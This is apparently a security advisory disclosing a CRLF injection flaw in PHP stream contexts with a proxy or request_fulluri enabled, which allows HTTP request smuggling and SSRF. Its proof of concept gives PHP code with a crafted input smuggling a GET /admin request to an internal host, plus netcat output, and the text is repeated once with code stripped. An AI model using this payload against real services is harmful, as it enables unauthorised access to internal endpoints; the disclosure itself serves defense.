Summary
Configuring a proxy in a stream context might allow for CRLF injection in URIs, resulting in HTTP request smuggling attacks.
Details
When creating a stream using one of the available stream creation functions (e.g., fopen
, file
, file_get_contents
...), developers can specify a custom stream context containing a set of parameters to use during the connection. One such parameter, in the case of HTTP and FTP streams, is proxy
. The HTTP context options also include a request_fulluri
boolean, which is required by some proxies to correctly forward the request.
While a normal request to http://example.com/path/to/file?query
would results in the following HTTP request:
GET /path/to/file?query HTTP/1.1
when setting request_fulluri
to true
we obtain:
GET http://example.com/path/to/file?query HTTP/1.1
The vulnerability lies in the implementation of request_fulluri
, which just inserts the raw URI into the HTTP request line. In particular, this bypasses the normal control characters sanitization usually performed when parsing the URL.
This means that, if the resource URI is under the partial control of an attacker, when the request_fulluri
context parameter is true, a malicious actor could inject CRLF characters to perform a HTTP request smuggling attack.
Furthermore, if a non-HTTP stream sets a proxy
parameter in the context (right now only the FTP context supports this), the request_fulluri
parameter gets automatically silently enabled without the developer ever knowing.
Notice that, in the case of HTTP streams, setting a proxy is not strictly necessary, as the real issue is the request_fulluri
parameter.
PoC
We can test the raw query performed by PHP by simply using netcat in listening mode (nc -lvnp 1337
).
When no proxy is configured, the malicious input is correctly sanitized (still producing an error due to the presence of unencoded spaces):
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
file_get_contents("http://localhost:1337/$userinput");
GET / HTTP/1.1__Host: localhost:1337____GET /admin HTTP/1.1__Host: adminpanel____GET / HTTP/1.1
Host: localhost:1337
Connection: close
When using a proxy and setting request_fulluri
to true
, we get request smuggling:
$opts = ['http' => ['proxy' => 'tcp://localhost:1337', 'request_fulluri' => true]];
$context = stream_context_create($opts);
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
file_get_contents("http://localhost:1337/$userinput", false, $context);
GET http://localhost:1337/ HTTP/1.1
Host: localhost:1337
GET /admin HTTP/1.1
Host: adminpanel
GET / HTTP/1.1
Host: localhost:1337
Connection: close
This also happens with HTTP proxies on FTP, without the request_fulluri
parameter:
$opts = ['ftp' => ['proxy' => 'tcp://localhost:1337']];
$context = stream_context_create($opts);
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
file_get_contents("ftp://localhost:1337/$userinput", false, $context);
GET ftp://localhost:1337/ HTTP/1.1
Host: localhost:1337
GET /admin HTTP/1.1
Host: adminpanel
GET / HTTP/1.1
Host: localhost:1337
Connection: close
Impact
CLRF injection in the URI leads to Server Side Request Forgery attacks (SSRF), which allows an attacker to bypass security controls, access internal endpoints, and, since we control the Host:
header, potentially access different hosts or machines.
Crafted requests can use any HTTP method and set any header to any value, including sensitive headers like Authorization
, Cookie
, Origin
, or Referer
.
Moreover, in some setups, the attacker might be able to read the HTTP response of each of the smuggled request.
Summary
Configuring a proxy in a stream context might allow for CRLF injection in URIs, resulting in HTTP request smuggling attacks.
Details
When creating a stream using one of the available stream creation functions (e.g.,
fopen
,file
,file_get_contents
...), developers can specify a custom stream context containing a set of parameters to use during the connection. One such parameter, in the case of HTTP and FTP streams, isproxy
. The HTTP context options also include arequest_fulluri
boolean, which is required by some proxies to correctly forward the request.While a normal request to
http://example.com/path/to/file?query
would results in the following HTTP request:when setting
request_fulluri
totrue
we obtain:The vulnerability lies in the implementation of
request_fulluri
, which just inserts the raw URI into the HTTP request line. In particular, this bypasses the normal control characters sanitization usually performed when parsing the URL.This means that, if the resource URI is under the partial control of an attacker, when the
request_fulluri
context parameter is true, a malicious actor could inject CRLF characters to perform a HTTP request smuggling attack.Furthermore, if a non-HTTP stream sets a
proxy
parameter in the context (right now only the FTP context supports this), therequest_fulluri
parameter gets automatically silently enabled without the developer ever knowing.Notice that, in the case of HTTP streams, setting a proxy is not strictly necessary, as the real issue is the
request_fulluri
parameter.PoC
We can test the raw query performed by PHP by simply using netcat in listening mode (
nc -lvnp 1337
).When no proxy is configured, the malicious input is correctly sanitized (still producing an error due to the presence of unencoded spaces):
When using a proxy and setting
request_fulluri
totrue
, we get request smuggling:This also happens with HTTP proxies on FTP, without the
request_fulluri
parameter:Impact
CLRF injection in the URI leads to Server Side Request Forgery attacks (SSRF), which allows an attacker to bypass security controls, access internal endpoints, and, since we control the
Host:
header, potentially access different hosts or machines.Crafted requests can use any HTTP method and set any header to any value, including sensitive headers like
Authorization
,Cookie
,Origin
, orReferer
.Moreover, in some setups, the attacker might be able to read the HTTP response of each of the smuggled request.